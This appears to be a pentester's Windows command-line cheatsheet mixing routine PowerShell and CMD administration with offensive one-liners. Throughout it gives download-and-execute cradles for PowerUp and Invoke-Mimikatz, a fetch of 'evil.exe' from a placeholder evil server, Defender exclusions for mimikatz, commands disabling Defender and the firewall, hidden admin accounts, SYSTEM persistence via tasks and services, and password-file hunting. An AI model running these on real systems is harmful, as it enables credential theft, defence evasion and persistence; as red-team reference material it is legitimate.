Windows Command Line Cheatsheet

Powershell

Enable ISE using powershell

In the few months that I’ve been developing powershell, I’ve found the ISE to be incredibly useful. If you get on a new machine and the ISE isn’t there, here’s how you can get it going in the powershell terminal:

Import-Module ServerManager
Add-WindowsFeature Powershell-ISE

Securely store credentials in XML for Import

Start out by storing your username and password (in a SecureString format) in a PSCredential object:

$cred = Get-Credential

Next, go ahead and export your credentials to an xml file:

$cred | Export-CliXml <location>.clixml

Finally, when you need it, go ahead and import the credentials from the xml file and stored them in a variable ($cred2 in this particular scenario):

$cred2 = Import-CliXml <location>.clixml

Command output to file

Append this to whatever you’re running to get the output in a text file:

| Out-File <location>

For example, if we want to run Invoke-AllChecks from PowerUp and capture output in C:\temp\output.txt:

Invoke-AllChecks | Out-File C:\temp\output.txt

Command output to clipboard

Command | Clip

Require powershell script run as admin

Add this to the top of the powershell file:

#Requires -RunAsAdministrator

Resource: https://serverfault.com/questions/95431/in-a-powershell-script-how-can-i-check-if-im-running-with-administrator-privil

Unzip file

Expand-Archive -Path myfile.zip -DestinationPath C:\temp\myfile

Resource: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/expand-archive?view=powershell-7.1

Download file

$url = "http://192.168.1.3:8080/somebinary.exe"
$outpath = "C:\temp\somebinary.exe"
Invoke-WebRequest -Uri $url -OutFile $outpath

Another way to download a file

Run from cmd:

powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.3','C:\temp\launcher.bat')"

Download PowerUp with Powershell <= v.2.0

This will get you the PowerUp powershell script and put it in C:\Temp, or some folder that the user you’re on has permissions to write to.

You can also modify this snippet to download files if wget isn’t available.

$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")

one-liner alternative:

(New-Object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")

another one:

powershell.exe -ep bypass -e IEX ((new-object net.webclient).downloadstring('http://target.com:8080/robots.txt'))

Another to decode and execute a base64 powershell payload can be found here.

Using PowerUp

import-module c:\PowerUp\powerup.ps1
## Run all the checks
Invoke-AllChecks

PowerUp one-liner

Get PowerUp, run it, and output to a text file so we can read the output easily:

powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/
PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks > C:\Temp\PU.txt

Powershell MimiKatz

powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/
PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz

Tail a logfile

You can effectively tail -f the last two lines from a log file with the following:

Get-Content logfile.log -Tail 2 –Wait

Run Powershell Script to get around execution of scripts disabled error

powershell -ExecutionPolicy Bypass -File pwshscript.ps1

Download sysinternals

First you need to ignore ssl trust:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

then you can download it:

(New-Object System.Net.WebClient).DownloadFile("https://download.sysinternals.com/files/SysinternalsSuite.zip","C:\Temp\sysinternals.zip")

Log script output to file

Start-Transcript -path c:\windows\temp\interesting.log -Append -force

# do stuff

stop-transcript
exit 1001

Useful powershell one-liners

Get hostname:

$env:computername

List local accounts on a system:

Get-WmiObject -Class Win32_UserAccount -Filter  "LocalAccount='True'"

Check if system is joined to a domain or a workgroup:

if ((gwmi win32_computersystem).partofdomain -eq $true) {
    write-host -fore green 'This system is on a domain' } else {
        write-host -fore red 'This system is part of a workgroup' }

Set environment variable:

$env:<name>="stuff"

Show env vars in running script:

gci env:* | sort-object <name>

Resource: https://stackoverflow.com/questions/39800481/display-all-environment-variables-from-running-powershell-script

Check if system is running a desktop version of windows:

$windesktop = (gwmi win32_operatingsystem).OperatingSystemSKU
-notmatch "(\b[7-9]|10|1[2-5]|1[7-9]|2[0-5])"
if ($windesktop) { write-output "OS is a flavor of Windows Desktop" }

Create new local user:

New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString
-AsPlainText -Force 'somepassword') -Name 'someuser'
| Add-LocalGroupMember -Group Users

Create new local admin:

New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString
-AsPlainText -Force 'somepassword') -Name 'someuser'
| Add-LocalGroupMember -Group Administrators

Resource: https://gist.github.com/ducas/3a65704a3b92dfa0301e

Get Windows kernel version

[Environment]::OSVersion.Version

Get list of IPv4 addr

(gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -ne $null }).ipaddress

Set alias with powershell

Set-Alias -Name ts -value 'C:\Users\User\folder\binary.exe'

Change hostname

Get-WmiObject -Class Win32_ComputerSystem
$ComputerInfo.Rename("new_name")

Open file with notepad

Start-Process notepad "C:\Program Files\Bla\bla.txt"

Resource: https://stackoverflow.com/questions/42669962/open-file-in-chosen-application-in-powershell

List Exclusions in Defender

Get-MpPreference | Select-Object -ExpandProperty ExclusionPat

Resource: https://superuser.com/questions/1591375/how-to-retrieve-windows-defender-exclusions-by-powershell-without-truncation-out

Add exe to defender allowlist

Add-MpPreference -ExclusionProcess "C:\Temp\mimikatz\x64\mimikatz.exe"

Add extension to defender allowlist

This particular code will allowlist all files that end with a .txt extension:

Add-MpPreference -ExclusionExtension "txt"

Add folder to defender allowlist

Add-MpPreference -ExclusionPath "C:\Folder1"

Resource: https://www.msnoob.com/use-powershell-to-add-exclusion-folder-on-the-windows-defender.html

Stop and Start Defender

Stop:

Set-MpPreference -DisableRealtimeMonitoring $true

Start:

Set-MpPreference -DisableRealtimeMonitoring $false

Resource: https://superuser.com/questions/1046297/how-do-i-turn-off-windows-defender-from-the-command-line

CMD

Wget

wget http://<evil server>/evil.exe -Outfile evil.exe

Open command shell as a user

runas /profile /user:domain\username cmd

Open a powershell window as a user

runas /profile /user:domain\username powershell

Check Permissions for folder

icacls <path>

Netstat with findstr

This is an example of what I equate to running netstat and piping the results through grep in linux. This is probably closer to netstat with grep:

netstat -ano | findstr 443

Netstat with find

Another way to run netstat and grep for something. In powershell you need to escape the double ticks or it will throw an error:

netstat -anob  | find `"443`"

Check if RDP is enabled

netstat /p tcp /a |findstr 3389

Resource: https://serverfault.com/questions/541086/how-to-diagnose-rdp-with-commandline

Look for files with passwords

dir /b /s web.config
dir /b /s unattend.xml
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*

Disable firewall

netsh advfirewall set allprofiles state off

Search processes

Similar to using ps and piping the output to grep in linux:

tasklist | findstr processname

Make administrator user active

net user administrator /active:yes

Set user password to never expire

net user user /expires:never /active:yes /logonpasswordchg:no

Create Scheduled task

On start up as system:

schtasks /create /sc onstart /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"

To run every minute as system:

schtasks /create /sc minute /mo 1 /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"

List Scheduled tasks

schtasks

Delete Scheduled task

schtasks /delete /tn "NameofTask" /f

Create service

On start up:

sc create ServiceName binpath="cmd.exe /k C:\Temp\shell.exe" start="auto" obj="LocalSystem"

List Services

sc query

Query Service

sc qc ServiceName

-alternatively-

sc query ServiceName

Stop service

sc stop ServiceName

Start service

sc start ServiceName

Delete Service

sc delete ServiceName

Useful CMD one-liners

Open event viewer from cmd:

eventvwr

Open services msc:

services.msc

Lists all the service information for each process:

tasklist /svc

Kill a process by PID:

taskkill /pid <pid> /f

Kill firefox (or any process) by name:

taskkill /im firefox.exe /f

Delete a file:

del <file name>

List drives:

fsutil fsinfo drives

Show users with active sessions:

quser

or:

query user

Show active network sessions:

netstat -vb

Get last modified file in a directory (conceptually similar to ls -lart):

dir /O:D /T:W /A:-D

Rename file:

move file new-file-name

Show contents of file:

type file.txt

Current user and privilege info:

whoami /all

List users:

net users

List domain users and output to a file:

net user /domain > domain-user-list.txt

List domain controller the current system is authenticated with:

echo %LOGONSERVER%

Get FSMO roles for current domain (useful info about domain controller setup):

NETDOM QUERY /D:targetdomain.com FSMO

List all domain controllers in the current domain:

net group "Domain Controllers" /domain

Print password policy:

net accounts

Reboot system immediately:

shutdown /r /t 0

Query the registry:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Add a key to the registry:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Remove a key from the registry:

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /v hFaZvOAsF /f

Show environment variables:

set

How to rm -rf:

rd /s /q "path"

Reset IE Settings

To perform what the reset button does:

RunDll32.exe InetCpl.cpl,ResetIEtoDefaults

To delete all caches and settings “Also delete files and settings stored by add-ons”:

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351